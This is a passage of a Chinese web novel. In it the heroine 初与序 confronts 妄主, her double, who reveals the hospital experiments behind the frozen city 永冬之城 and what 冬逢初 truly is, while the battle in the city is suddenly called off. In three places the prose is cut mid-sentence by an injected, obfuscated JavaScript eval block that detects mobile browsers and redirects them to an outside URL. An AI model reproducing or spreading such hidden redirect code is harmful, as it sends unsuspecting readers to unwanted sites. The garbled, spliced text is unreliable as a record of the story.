走廊延伸入一座开放式的长亭,亭子结构简洁优美,穹顶挂着几盏散发柔和白光的灯。亭子两侧没有墙壁,可以看向四周,那是一片雪原。 但并非只有来时看到的那样,只是一片单调的白。雪原上放置着一些桌椅,不远处甚至有一方石质棋盘,棋子摆在盘上,似乎上一场棋局还未结束。靠近长亭边缘种植着一排排雪松,覆着厚厚的积雪,枝丫漆黑,和雪原形成鲜明对比。 这里孤独寂静,会让人忍不住渴望身边有可以拥抱陪伴的人,又或者只想独自一人,在此停留到时间尽头。 初与序的脚步停在长亭中央,看向雪原。 一个人坐在石凳上,穿着银蓝色的斗篷,斗篷尾部和边缘绣着蓝紫色的勿忘我。祂微微俯身,姿态放松。一只骨节分明,肤色苍白的手从宽大的斗篷袖口探出,正轻轻抚摸着身前一只小动物的下巴。 那是一只通体雪白的雪狐,它眯着眼睛,喉间发出舒适的呼噜声,亲昵地用脸颊蹭着那只手。 然后,雪狐似乎察觉到了什么,微微睁开了眼睛,冰蓝色的瞳仁越过妄主,看向了长亭方向,动作顿了一下。 妄主抚摸的手也随之停下。 祂似乎并不意外,只是不紧不慢地用指尖轻轻挠了挠雪狐的下颌,然后缓缓转过了身。 银蓝色的斗篷随着动作划开一道弧线,斗篷的兜帽也微微滑落,露出小半张脸,和垂落的柔软发丝。 一张……初与序并不陌生,却又感觉无比遥远的面容。 隔着长亭柔和的光晕,隔着亭外清冷的雪光,隔着飘落的细雪。 两人的目光在半空中,平静地对上了。 340.痛楚彻骨 那是一张与她一模一样的脸庞。 即使初与序曾做了很长一段时间的心理准备,但真正亲眼见到,还是给她带来了眩晕般的冲击,心脏漏跳了一拍。 祂的皮肤过分苍白,淡色的唇,长发乌黑,下颌线到锁骨,再到隐入斗篷领口的线条修长,脖颈右侧还能看到那道横向的刀疤,整个人笼罩在病态的羸弱中,却仍是摄人心魄的美。 初与序微微抬起眼,终于对上了那双眼睛。 银蓝色的瞳孔,像是极地冰川沉淀后的剔透,化成两泓寒潭,平静地映着她的倒影。仿佛她的到来只不过是这片雪原上,又一朵雪花飘落,无需惊讶。 无端地,初与序想起了《蔚蓝海岸号》里,格格莉娅那双令人心悸的眼眸。 雪狐轻盈地跃上石桌,蹲坐在妄主手边,好奇地看着亭内这位不速之客。 妄主缓缓收回了抚摸雪花的手,重新拢回宽大的斗篷袖中。 祂轻轻出声:“初与序。” 初与序从长亭中央的光晕里走出来,来到妄主面前,微微倾身:“大人。” 妄主忽然用一种有点古怪的眼神看向她,即使祂是坐着的,而初与序站着,但祂的目光仍带着居高临下的审视感,仿佛是在质问她什么。 祂最终没有说话,朝着对面的石凳轻轻抬了一下手。覆盖在石凳上的积雪眨眼间自动融化,露出地下的表面。初与序转身,在石凳上坐下。 妄主微微调整了一下坐姿,将双手重新拢回斗篷之下,交叠着放在膝盖上。兜帽的阴影几乎完全遮住了祂的上半张脸,只留下线条优美的鼻尖,下颌线,以及在阴影深处也清澈的银蓝色眼眸。 雪狐像是自来熟,当初与序坐下时,便立起身优雅地来到她面前,跃上她的膝盖,蜷缩起来。用蓬松雪白的大尾巴环住了她纤细的手腕,又低下头轻轻在她手指上咬了一下。 “在杀了我之前,我可以解答你任何问题。”她听见妄主的声音响起。 初与序垂下眼,似乎是在脑海里整理着这么多年以来所有谜团,思考该怎么开口询问。 半晌,她抬起头,道:“我想知道,我……你当年在善佑医院的事,全部。” “大部分真相你已经清楚了。”妄主平静道,“不过既然是‘全部’,我便从头说起吧。” 接着,祂开始不快不慢地叙述,语气平静,像是根本不在说自己的过去:“当年,善佑医院被某个背景身后的势力全盘收购,原有医护人员被尽数替换。新来的那批人暗中对院中的孩子进行实验,筛选拥有特殊精神力的病人,创造永冬之城。” “在这场实验中,阿愿,原名秦愿是第一个试验品。实验结果失败,宋归安也因此受到牵连。在现实世界中,她们双双去世。随后,我成为了第二个试验品。” “我的精神力与秦愿高度相似,同样非常不稳定。医院的人用了老办法……你应该不想听这些。”妄主说到这里,犹豫了一下,略过了某些事,继续道,“实验顺利推进,但我当时年纪尚小,精神力波动剧烈,无法稳定支撑一个完整的城市。于是,他们并没有在那时就让永冬之城出现,而是将我创造城市的精神力定格在十八岁。” “从十四岁到成年,这四年间,永冬之城在我潜意识深处逐渐成型。当我即将十八岁时,一个完全可以容纳意识体进入的永冬之城,已经在我不知情的情况下建造完毕。” “然而,为了防止我主动切断意识,导致前功尽弃。在出院那天,他们出手清除了我善佑医院实验的所有记忆,这也就是你为什么不记得永冬之城,不记得冬逢初的原因。至此,在现实层面的善佑医院事件全部结束。” 所以之前在《坏孩子》副本,能通过精神力打开广播室的原因,从来不是因为冬逢初在,而是因为系统检测到了初与序的精神力。同样,初与序和秦愿精神力高度相似,她就是第二个秦愿,这也是为什么他们一定需要她的右眼。 初与序没有去追问被妄主特意略过的细节。等妄主说完,她沉默了几秒,提出了第二个问题:“你进入永冬之城,与第零批玩家分别后发生了什么?” “说来话长。”妄主再次开口,还是刚才平平无奇的语气。 “当永冬之城彻底成型稳固的那一天,医院背后的势力将现实世界中一批经过筛选的玩家拉入了城市,便是第零批玩家,让他们测试永冬之城的运行稳定性。” “这批玩家是与我有类似情感连结的人,在你们口中,是‘一样痛苦’的人。其中包括白闽与陈秋天两个‘世界异常人员管理组’的成员、屠宰场人员,以及我自己。永冬之城需要管理者,我必须进入。如果我留在现实,永冬之城便无法定型,与现实的连接道路也无法稳固。” 妄主顿了顿,继续道:“我们在初代的永冬之城共同度过了近一年时间,医院势力在现实持续观测,认为永冬之城的运行已经稳定,可以开始大规模投放现实世界的玩家。于是他们将我,以及与我有关联的冬逢初从玩家中分离开来。也可以说,是冬逢初自己消失的。” “我成为了妄主,知晓了关于永冬之城的真相,和我自身被赋予的职责。” “而江意等激进派成员,在初期表现出极强的反抗意识,在系统的强制操控下成为了管理员。医院势力希望他们能协助我管理永冬之城,并且监视我,防止我出现任何逆反行为,威胁永冬之城的存在。” “不过,你也清楚我当年的性子。”妄主朝初与序扬了下唇角,“我并未按照他们的意愿成为合格的妄主,而是试图寻找方法,摧毁永冬之城。” “医院的人认为,与其花费精力控制我,不如更换一个听话的妄主。于是他们将目标投向了身份特殊的冬逢初。” “但当时,不仅他们无法定位冬逢初的具体下落,连我也并不知晓。” “于是,他们命令屠宰场分成两股力量,一股搜寻冬逢初的下落,另一股由屠宰场首领带队,刺杀我。” “如果我被杀死,而接替妄主之位的是冬逢初,或许并非是最坏的结局。以他的性格与能力,会继续尝试毁掉这里,解放所有玩家。” “但如果刺杀成功,接替者并非冬逢初,或许连他也一并被列入清除名单。”妄主摊开手,“那么一切将彻底失控。此外,即便我当时死亡,永冬之城并未完全与我绑定,它仍然会继续运行,将现实世界无辜的人拉入这里,通关副本。” “权衡之下,我选择了逃亡。” “逃亡途中,我在阁楼里被屠宰场首领重创,精神力严重损耗。或许是求生意志过于强烈,又或许是精神力在极端状态下的自发异变,我本身发生了分裂。一部分维持妄主的形态,而另一部分追溯时间,将过去的我,也就是初一召唤到了雪原。” “当时,她在现实里还并没有被善佑医院抓去做实验,有一半精神力也没有被抽取,灌输入u谷体内。她将我救下,在了解全部真相后,选择帮助我。” 妄主朝着宫殿外阁楼的方向偏了偏头:“阁楼那四面墙上贴着的计划纸,有一半都是她写的。她在那里待了近一个月时间,带出来的话是:要想摧毁永冬之城,首先要让我周围所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果此刻【u谷】在场,他会想起很久以前与初一的一次谈话。 那是第五次循环结束后,由于他暗中做局,「初与序」过早死亡,未能按照原计划在循环结束后来到宫殿,暂时代替沉睡的妄主处理事务。初一不得不亲自接手——虽然她后来把成山的工作都丢给了【江意】——但她还是找到了【u谷】,将他痛斥一顿,警告他下次若再想害「初与序」,至少别在下一次循环开始前就让她死亡。 【u谷】被骂得狗血淋头,不服气问道:“为什么妄主每次循环结束后都要沉睡十八年?祂不是这里的神吗?力量不是无穷无尽吗?” 初一听到这个问题,罕见地愣了一下。后来【u谷】回想,她当时脸上浮现的是不忍。 “因为祂很累,do you understand?(明白吗)”她摊开手,“所有「初与序」都是妄主分裂出来的,想办法的是她,经历轮回的是她,执行计划的是她,守城的是她,承受所有反噬和痛苦的也是她。严格来说,现在站在这跟你讲话的我,也算是她。” 【u谷】震惊了,他从没了解过妄主计划的全貌:“你是说,祂一个人分裂出几百个灵魂,灵魂形成□□,不断重组再毁灭?” “没错。”初一打了个响指,“更别说祂还有一大半精神力在你体内呢。祂总不能直接杀了你取回力量。” 【u谷】在那时候明白了:为什么每次轮回结束,妄主都会陷入长达十八年的沉睡;为什么妄主在醒着的时候,周身总浸着挥之不去的疲惫;为什么他刚成为管理员时,【江意】曾提醒他,没事不要去打扰妄主,更不要与祂争执,祂很不容易。 当然,即便知晓了这些,也不影响【u谷】继续憎恨妄主,憎恨「初与序」,继续给「初与序」使绊子。 341.你消失后去了哪里 过了片刻,初与序抬起眼,又问道:“第一次轮回的「初与序」,是初一?” “是。”妄主点了点头,雪光映在祂苍白的侧脸上,轮廓锋利,“她自己提出要变成十八岁的模样,先下去走一遭,但不会成功,我同意了。” “我猜,她是不愿意亲手杀了我。” ——人们总说,看到幼时的自己时,会有刀刃抵住喉咙的错觉。知道那把刀终会落下,把当初那个无能为力的孩子,切成后来这个面目全非的你。 妄主对初一也是如此,祂从未真的让初一受伤,却无端生出愧疚,也庆幸祂将初一留在了雪原。至少她不用重复自己曾经的命运,不用在善佑医院的实验台上承受痛楚。她可以在庄园里跟其他管理员插科打诨,可以去永冬之城吓唬屠宰场那些人。 可这一切终结之后呢? 初一是会随着永冬之城的崩塌而消散,还是会回到她原来的世界,重新进入实验室?这结局太残忍了。可她必须独自熬过这场雨,她必须独自穿过这片雪。 “所以,我是九千多年来,除了初一,唯一一个真正走到你面前的「初与序」?”初与序的声音将妄主从短暂的出神中拉回。 妄主轻轻点了点头,银蓝色的眼底沉淀着太多无法言说的重量。 “我想知道,为什么在这次轮回开始前,你觉得消除我的全部记忆,让我以‘普通人’的状态进入永冬之城?”初与序又问道。 远处的风雪声化作模糊的背景音,雪狐在她膝上动了动,蓬松的尾巴扫过她的手腕,带来微弱的暖意。 妄主淡淡道:“只是抱着‘万一’的心态罢了。” 祂微微偏过头,看向无垠的雪原:“失败的轮回太多,多到我自己都数不清是哪一次开始,分裂灵魂带来的损耗已经逼近极限。我能感觉到自己正在一点点变透明。” “如果计划一直不成功,如果我彻底消散,永冬之城会落入谁的手中?是哪些始终在现实窥探的势力,还是某个管理员?我不知道。但我知道,到了那一天,五百多万位玩家都会被永远困在这里,再也回不去。” 雪光在祂眼底反射出冷冽的光芒,祂顿了顿,说道:“我做了这么多,等了这么久,不是为了换来一个意料之外的结局。我要他们全部回家,一个都不能少。” “所以,当第五百五十五次轮回开始前,将这一次的「初与序」记忆清除,让你像所有被无辜卷入的玩家一样,从零开始,重新认识这个世界,重新建立羁绊,重新走到我面前。” 祂的目光穿过无数轮回,落在初与序脸上,终于抵达此岸。 “这是最后的方法,也是唯一还没试过的方法。但就是这一次的‘万一’,真的让你走到了这里。” 初与序轻轻点了点头:“那你为什么要将景明垂也拉入永冬之城?” 提到这个名字,妄主垂眸静默了片刻。 “第一个原因。”祂的声音清晰冷淡,“她是你在现实世界唯一可以全然信任的朋友。有她在,即使你失去所有记忆,也或许能更早地生出毁掉永冬之城的念头。” “第二个原因,”祂抬起眼,银蓝色的眸子穿过纷纷扬扬的雪花,望向了某个遥远的位置,“我希望你在回到现实之后能活下来。” 初与序的神情微微一动。 “离开永冬之城后,回到现实的初与序会是谁?是你,是我,是初一,还是三者融合?总之,现在的我无法掌控未来的我。但至少此刻,我认为活着比死亡好。尽管未来的那个你或许不这么想。” “让景明垂来这里,是希望未来无论谁活下来,都有人在现实世界陪伴。我只是尽可能地让初与序活下来。” 初与序听完,眉梢微微扬起,带着质疑和一丝荒谬的冷意。 “就为了这两种原因,你就把她也拖进这座炼狱?” “我给过她三年时间。”妄主没有迟疑地回答。 “你可能并不知道。景明垂在离开善佑医院后,得知善佑医院被收购,便一直都在找你。齐无尽离开江苏后的三年里,初一向她传递了‘是否愿意进入黑暗世界寻找初与序’。她问了十次,景明垂给出了十次肯定的答复。最后几次,她说如果再不让她进去,她会抓住传信的飞鸽,顺着它找到传信人的地址。” 初与序:“……” “她后来真的尝试追踪飞鸽。”妄主轻轻叹了口气,苍白的面容上闪过一点笑意,但也就那么一点,转瞬即逝,“但初一并未现实存在,可以瞬间消失,景明垂没能找到她。” “所以她进入永冬之城后,我也清除了她脑海中关于初一的记忆。” 祂刚说完话,一位执行官忽然从长亭外的风雪中快步走出来。他在石桌边停下,不自觉地看了初与序一眼,随即飞快低下头,向妄主躬身行礼: “大人,各位管理员已在永冬之城与玩家交战近一小时。” “不用管。”妄主随意挥了挥手,轻飘飘的。 执行官立刻收声:“是,大人。” 他转身推入风雪中,很快被漫天雪幕盖住。亭内重新恢复寂静,初与序的目光落回妄主脸上,淡色的唇抿了抿,想说些什么,但话语在喉间滚了滚,却终究没开口。 妄主垂眸坐在石凳上,瘦削的身形裹在斗篷里。一阵凛风吹来,掀起斗篷下摆,仿佛祂整个人随时会化入这片苍茫的雪色,不知该去哪里找祂。 “你还有什么问题?”祂问道。 初与序的身体僵了一下,雪狐察觉到什么,抬起头用鼻尖轻轻碰了碰她。 她问道:“那冬逢初呢?” 这一次,轮到妄主沉默了。 永冬之城,鹅毛般的雪片疯狂坠落,将地上温热的鲜血一层层掩埋,下一秒又有新的血点从积雪下渗出。 战场已经分不清界限,玩家不知死了多少,尸体在雪中堆得隆起,也有管理员在数名玩家的围攻下倒下。 不远处,【u谷】正将一个玩家狠狠按进雪堆里,那人只能徒劳地抬手护住头脸。【u谷】扬起拳头一下接一下砸下,手上很快粘上了身下人的鼻血。 就在此时,侧方一道劲风撕裂雪幕! 那一脚来得毫无征兆,正揣在【u谷】的腰侧。【u谷】猝不及防,整个人被踹得横飞出去,在雪地上硬生生刹住。剧痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243404|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他本能地在落地时翻滚起身,反手一圈砸向袭击者! 冬逢初显然吃不住这记重拳。 那一拳结结实实撞在他肋骨上,他踉跄后退,咳出一口血沫,鲜红的血珠溅在皑皑白雪上。 【u谷】再次扑上来,眨眼间扣住冬逢初的肩膀,借着冲势将他狠狠掼倒在地。 冬逢初的后背砸进积雪,窒息感瞬间淹没口鼻。他还未缓过气,脖颈已经被一只冰冷的手死死扼住。【u谷】跪压在他身上,另一只拳头高高扬起,拳峰上还带着先前那个玩家的血。 这一拳若是砸下去,目标正是冬逢初的腹部,足以震碎内脏,让他再也爬不起来。 ——雪恰在此刻被一阵狂风卷开。 飞扬的雪沫像舞台的帷幕被突然拉开,露出下面那张苍白、眉眼淡漠的脸,熟悉得让【u谷】心脏差点停跳! 他的拳头僵在半空,猛地松开扼住冬逢初脖颈的手,像被烫到一样后撤,踉跄站起身时甚至绊了一下。 “冬逢初?!”他后怕道,“怎么他妈是你?!” 冬逢初侧过头,又吐出一口血。他撑起上半身,胸口剧烈起伏,肋骨扯得剧痛。 【u谷】狠狠抹了把脸,将沾在睫毛上的血和雪甩开。他盯着冬逢初看了几秒,突然转身就跑。 “你滚远点!我可不敢真把你打死!”他吼道。 话还在空气里飘荡,人已经消失在混战的雪幕中。冬逢初独自跪在雪地里,撑着身体喘息。风雪拍打在他的背上,很快在肩头积起薄薄一层白。 “你没事吧!”D栋一位玩家冲过来。 “没、没事。”冬逢初抹掉嘴角的血迹。 “没事那还不赶紧干他们?!” “冬逢初消失后去了哪里?” 初与序又重复了一遍。 雪花飘落到妄主交叠于膝盖上的手背,又很快融化,留下一道蜿蜒的水痕。 半晌,妄主才缓缓开口:“初一在相机里留下的视频,你应该看了。” 提到那个视频,初与序放在膝盖上的手几不可闻地颤抖了一下,她自己并没有察觉,但雪狐却抬起头,看着她。 “当时初一回溯到现实中的善佑医院,是为了确认冬逢初的真实身份。”妄主说道。 一片雪花从雪原宫殿的上空悠悠飘落。 它掠过永冬之城上方惨烈的厮杀,沿着列车轨道,飞向无数玩家魂牵梦索却又遥不可及的现实。最终,它摇摇晃晃,落向郊野一处森冷压抑的医院高楼。 记忆的长卷随着雪花飘落的轨迹铺展,顺着长卷向尽头看,是医院五楼昏暗的走廊,是初一穿着黑色连帽衫,带着帽子靠在拐角墙壁上的身影。 走廊上没有其他孩子,墙壁上的电子钟显示凌晨三点。初一微微侧着头,倾听拐角深处传来的谈话。几秒后,她从怀里取出一台黑色相机,将镜头对准了声音的来源。 镜头初起时有些模糊,随即清晰起来。 画面里出现两张熟悉的面孔——单良和白阔。两人站在走廊惨白的灯光下,黑色的影子被拉长,投射在白色的墙壁上,像地狱里溜上来的魔鬼。 342.虚妄 紧接着,视频里传来两位医生的谈话。 “你们把505病房的小丫头抓去了?”白阔语气随意地问道。 “嗯。”单良抱着胳膊,脸上带着疲惫,黑眼圈极重,“她的精神力和秦愿几乎一模一样,是最好的人选。城市的基本结构已经初步定型了。” 白阔闻言,挑了挑眉,饶有兴趣道:“我听他们说,那丫头性子犟,精神力也不稳定,你们怎么控制住的?” “简单。”单良挥了挥手,“上面的领导说了,像秦愿和宋归安那样,找到能让初与序精神力稳定下来的人就行了。” 白阔掌心向上抬了抬,做了个“洗耳恭听”的手势。 单良露出一个没什么笑意的表情,解释道:“我们筛查了整个医院,没找到任何一个能让初与序精神力平静下来的人,即使有,他们的精神力波长也与她严重不匹配,强行连接只会导致刚成型的城市结构坍塌,严重点就是她会脑死亡。” “与其费力找一个现实世界的人,还不如让她自己创造一个。” 白阔神色一怔:“你是说,让她自我分裂……?” “这是唯一的方法。”单良点了点头:“只是过程会让她更痛苦一点,不过那又如何?在这里她只是一个实验品罢了。” 白阔沉默了两秒,没有反驳:“所以结果如何?” 单良做了个手势,示意他跟上。镜头随着两人的脚步移动,越过瓷砖地面,最终停在走廊尽头一扇铁门前。单良掏出钥匙打开铁门,门开启一道缝隙,惨白的光从门内泄出。 在门即将关闭的前一秒,初一伸出手,用指尖抵住了门边,透过缝隙,她的目光,连同相机镜头穿透进去。 门内是一个巨大的圆形研究室,头顶是无影灯,投下冷白的光束。四周环绕着长桌,桌上摆满了仪器,其中一排排圆柱形培养舱里盛满了泛着银蓝色光芒的液体。 研究室的正中央,是一个高出地面三级小台阶的圆形平台。上面放着一张白色病床,一个穿着病号服的孩子躺在上面,脸色苍白。她的身上插满了管子,有些将银蓝色的液体注入她体内,有些则从她体内抽取着什么。仪器屏幕上,代表精神力的波纹剧烈起伏,时而尖峰,时而低谷。 床边立着一面投影光幕,显示着一片苍茫的雪原,以及一座雏形的城市框架。 另一侧则立着心跳检测图,那条代表生命律动的曲线几乎成了一条直线。 白阔踏上台阶,走到病床边,低头观察着孩子手臂上的针孔和淤青:“这么小的孩子,真的能控制好自己的精神力,凭空创造出另一个活生生的人?” “严格来说,并不算她自己创造。”单良背着手,在研究室里缓缓踱步。 “我们改造了她的精神力结构,再将改造后的精神力重新灌入她体内。她会在无意识的状态下将自身分裂成两半,而另一半就可以被我们再次提取,塑造,改造成那个可以让她稳定下来的人。” 说到这里,他已经踱步到了圆台的另一侧。 那里垂着一面白色帘子,将后面的空间遮挡。单良忽然伸出手,哗啦一声把帘子拉开。 帘子后面的景象暴露出来,在看清眼前情景时,白阔、初一,以及隔着漫长时光,通过相机观看这段影像的初与序和景明垂,同时屏住了呼吸—— 那是一个比周围培养舱大十倍的透明容器,里面同样注满了银蓝色的液体。 一个穿着病号服的小男孩静静悬浮在其中。 他双臂交叠在胸前,搭在肩膀前的手毫无血色,上面同样布满了针孔。他微微垂着头,双眼紧闭,睫毛纤长,唇角向下弯着,透出与年纪不符的悲伤。 他的面容极其俊秀,却苍白得没有生气,并不像正常人类该有的气色。 即使隔着遥远的距离,也能清晰地看出,他的长相与躺在病床上的小姑娘几乎一样,是从同一个模子里刻出来的。 “喏,就是这个。”单良抬手,用关节叩了叩培养舱外壁,“从诞生的那一刻起,他和初与序就注定无法分离,他们将永远承受相同的痛苦。” 白阔看着男孩,忽然皱起眉:“他不仅仅只是为了让初与序稳定下来吧?” “当然不只是。”单良转身,望向那面投影着雪原和城市的光幕,“这座城市的地基就源于这小子,在他身体之上建造而成,你也可以理解为——” “他,就是整座城市。” 单良顿了顿,一字一句,清晰无比: “城市存在,他就活着。城市毁灭,他就随之消散。” “我们已经做过初步测试,只要把这两个孩子放在同一个空间,初与序剧烈波动的精神力就能迅速稳定下来。而这小子也会在无意识中任由我们利用初与序留在他体内的精神力,进行各种实验。” 单良满意道:“再过一周左右,等他的身体和精神完全适用,就可以把他从培养舱里放出来,修改他和初与序的一部分记忆,让他以‘病人’的身份正式和初与序见面。” 白闽盯着培养舱里的男孩看了许久,忽然露出一个意味不明的笑:“那他算什么?黑户?取名字了没?” “取什么名字,反正一辈子离不开这里。”单良满不在乎地挥了挥手,“等他有自我意识了,让他自己取吧。” 他话刚落下的下一秒,培养舱内,银蓝色的液体似乎微微荡漾了一下。 那个一直静止悬浮的男孩轻轻地颤动了一下睫毛。这东西细微的仿佛像是幻觉。再仔细看去,他依旧垂着头,紧闭着眼,被包裹在冰冷的精神力溶液里。苍白俊秀的脸在惨白灯光的映照下,像笼罩在无尽雪原阴影里的一朵蓝紫色勿忘我,不惧狂风,不畏冰雪,直至时间尽头。 初与序的意识顺着记忆的长卷转了个圈,回到了那片无边无际的雪原上。 “其我并不是永冬之城的第一任妄主。”坐在她对面的女子缓缓开口,“冬逢初才是,他不仅仅是旧日的妄主,更是整座城市本身。” “至于他消失后去了哪里,这么多年他是否还保留着记忆,也只有他自己知道了。” 妄主停顿了一下,说道:“单良有一句话说得不错——他一辈子都无法离开这里了。” 初与序放在膝上的手一寸寸握紧,从踏入宫殿至今一直维持的平静在这一刻出现了裂缝。她那双总是淡漠的眼眸里第一次清晰地映出了哀伤,翻涌着憎恨。对善佑医院的憎恨,对单良的憎恨,以及对自己的憎恨。 九千多年,即使是个数字,说出来也相当漫长。但真正回想起来,却只余下模糊的,潮湿的,逝去的触感。是无止境的痛苦,数不清的轮回,深埋在冰雪之下的深沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243405|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的爱与绝望。 妄主忽然将目光落在蜷缩在初与序膝盖上的雪狐身上。 祂没有任何动作,眼神也依旧平静,但雪狐像是能听见祂的心声,轻盈地跃上石桌,几步来到妄主身边。 妄主抬起拢在斗篷下的右手,那只手苍白,中指上并没有佩戴戒指。祂用手背轻轻抚过雪狐蓬松的脊背,然后朝着雪原深处那片种满雪松的树林,微微侧了侧头。 “去吧。” 雪狐在石桌上停了几秒,它回过头,晶莹的瞳孔深深地看了初与序一眼,随即转身跃下石桌,奔向雪原。雪地上留下一串脚印,很快又被新落下的雪片覆盖。 妄主缓缓从石凳上站起身,斗篷随着动作垂落。祂垂眸,静静地看着初与序。 祂说:“我是妄主,已经不再是初与序了。” 初与序明白这句话的意思。 但真的到了这一刻,她似乎有些下不去手。 永冬之城,【江意】站在一处稍高的建筑上,刚刚将一名玩家掼倒在地,膝盖抵着对方的胸口,却忽然在这时停住了动作。 他抬起头望向灰蒙蒙的天空,不知为何,他松开了手。 “我靠,你装什么呢?!”身下的玩家刚被打得半死,此刻衣领一松,差点滚下废墟,气得破口大骂,“江意!你他妈要杀就杀,要剐就剐!现在突然收手又是什么意思?!看着天要cos飞天小男警吗!” 【江意】没有搭理他,他垂下灰色的眼眸,俯瞰着下方惨烈的战场。 他抬手,一把拉住身边的【随歌】:“别打了。” “什么?!”【随歌】脸上青一块紫一块,没听清他的话。 “别打了,都是自己人。”【江意】面无表情地重复了一遍,“时间快到了,该告诉他们真相了。” 【随歌】这下子听清楚了,他猛地转过头,脸上写满了难以置信。 远处的【u谷】也听到了这句话,他正将一个玩家按在墙上,闻言整个人僵住,抬起头骇然地看向高处的【江意】,眼神闪烁——激动?欣喜?担忧?亦或是漫长欺骗终于走到尽头,可以真相大白的释然? 初一双手插兜站在远处,抬头扫了一眼永冬之城钟楼的大时钟。 “……我操?”【随歌】楠楠道,在周围震耳欲聋的厮杀声中喊道,“真的假的?!不会是我想的那样吧?!” 【江意】点了点头。 【随歌】脸上的表情像是想哭又想笑,他反手摸出一个足有半个脑袋大的喇叭,深吸一口气,对着整个战场吼: “全体停战——!!!” “都他妈是自己人——!!!” 声浪裹着雪花,轰然传遍整个永冬之城。 交战的双方同时一愣,玩家、管理员,以及执行官都齐刷刷看向高处那两道身影。 “我去你大爷的自己人!”向枝冥第一个炸了,指着【随歌】鼻子就骂,“你刚刚一脚把我踹出去十米远!还他妈自己人?!” “你没打我?!”【随歌】对着喇叭怒道,声音传遍几千米的战场,“老子的右手腕是不是你敲折的?!玩家数量比我们多十几万倍,我们说啥了?!” 回北挥开一具倒下的尸体,从雪堆里探出脑袋:“江意!到底怎么回事?!什么叫自己人?什么是真相?!” 343.雪葬 现实世界。 某处地下深层观测站。 一块巨大的环形屏幕占据整面弧形墙壁,上面流动着密密麻麻的数据流:意识连接强度、精神力波动光谱、能量消耗曲线、情绪映射图谱……无数彩色线条交织,跳跃,闪烁。 另一面墙上则排列着将近五十名管理员的身份档案与监控数据,包括最上方的妄主——初与序。 数十名身穿白色防护服的技术人员坐在操作台前,在键盘上飞速敲击,分析着屏幕上的数据。观测站中央的控制椅上,坐着一个面容冷峻,戴着金丝眼镜的中年女人。 “报告,袁主管!”一名技术人员小跑上前,双手递上一块平板,“已将全体管理员过去七十二小时内的心理波动与行为倾向图谱全部调出,完成初步分析。” 袁曼接过平板,屏幕上的彩色线条大部分都稳定在绿色的安全区范围内,偶尔有小波动,但很快恢复平稳,大概只是无聊时抱怨的情绪。 “主管,根据我们分析,永冬之城玩家群体于一小时前发起大规模叛乱行为,所有管理员按预设指令进行镇压,效果显著,玩家方伤亡率持续上升。” 技术人员顿了顿,硬着头皮继续道:“但大概在三十秒前,所有管理员的精神力消耗曲线、战斗行为图谱、攻击倾向指数等,同时出现断崖式下跌,并在极短时间内归零。他们似乎已经单方面停止了战斗。” 袁曼的眉头缓缓皱紧。 “但玩家方的叛乱倾向指数并未归零,仍维持在危险高位。”技术人员补充,“叛乱并未真正平息。” 袁曼盯着主屏幕上那条代表【江意】的曲线,曲线非常平稳,没有任何异常。 良久,她缓缓开口:“再观察。” “通知外围安保部队,进入二级戒备。” “是。”技术人员领命,快步退回岗位。 初与序也从石凳上站了起来,走到妄主对面。 “江意现在应该已经叫停战斗了。”妄主伸出手,接住一片从上空飘落的雪花。斗篷袖口滑落,露出一截过分白皙的手腕,肌肤薄得能看见底下淡青色的血管。 初与序一时不知该说什么,她看着妄主,涩声道:“玩家的武器,包括我的短刀都被执行官在总部封锁了,用不了。” 妄主掀起眼皮,没什么表情地看了她一眼。 然后,祂抬起手,指尖在虚空中轻描出一线冰痕。 空气冻结,霜华凝形,一道冰蓝色的轨迹在祂指尖绽开。紧接着,苍穹深处传来一声清越的嗡鸣。 一柄长剑自天际垂落。 剑身通体冰蓝,修长优雅,剑脊上雕刻着勿忘我花纹,此刻正流转着冷冷清辉。它缓缓下降,如同命运降下的勋章。 初与序伸出双手,长剑稳稳落入她手中。 当冰冷的剑身触碰到她皮肤时,剑格处的雪花纹路忽然亮起!寒气顺着剑柄疯狂涌入血脉,初与序猛地攥紧剑柄。 那光映亮了她睫毛上凝结的霜雪,也映亮了剑身上正在层层苏醒的勿忘我花纹。无数被封存的记忆、被冰封的情感、被遗忘的誓言,疯狂地破冰而出,呼啸着涌入她的脑海。 剑很轻,轻得像一片雪花落在掌心;又很重,重得像五百多次轮回中,所有未能归家的亡魂压上她肩头。 那些亡魂和永冬之城内所有玩家与管理员重叠,惊疑不定地看着站在高处的【江意】。雪地上横七竖八地躺着尸体,血将积雪染成污浊的红色。 “我们玩家要策反,你们管理员和妄主保护永冬之城,我们怎么可能是一路人?!”有玩家嘶声道。 “你们想拖延时间吗?!要杀要剐直接来!” “是啊!难不成你们也想策反?!” 这句话引起周围一片哄笑,没有相信刚才还面无表情,下手狠厉,将玩家一个个击倒的管理员,会是自己这边的人。 “——是的。” 一片死寂,玩家们纷纷僵住,维持着嘲笑的表情,茫然地看着【江意】。 【江意】站在高处,风雪吹起他染血的衣角,他一字一句:“我们的目的,一直是毁掉永冬之城,让所有人回到现实。” “什么?!” 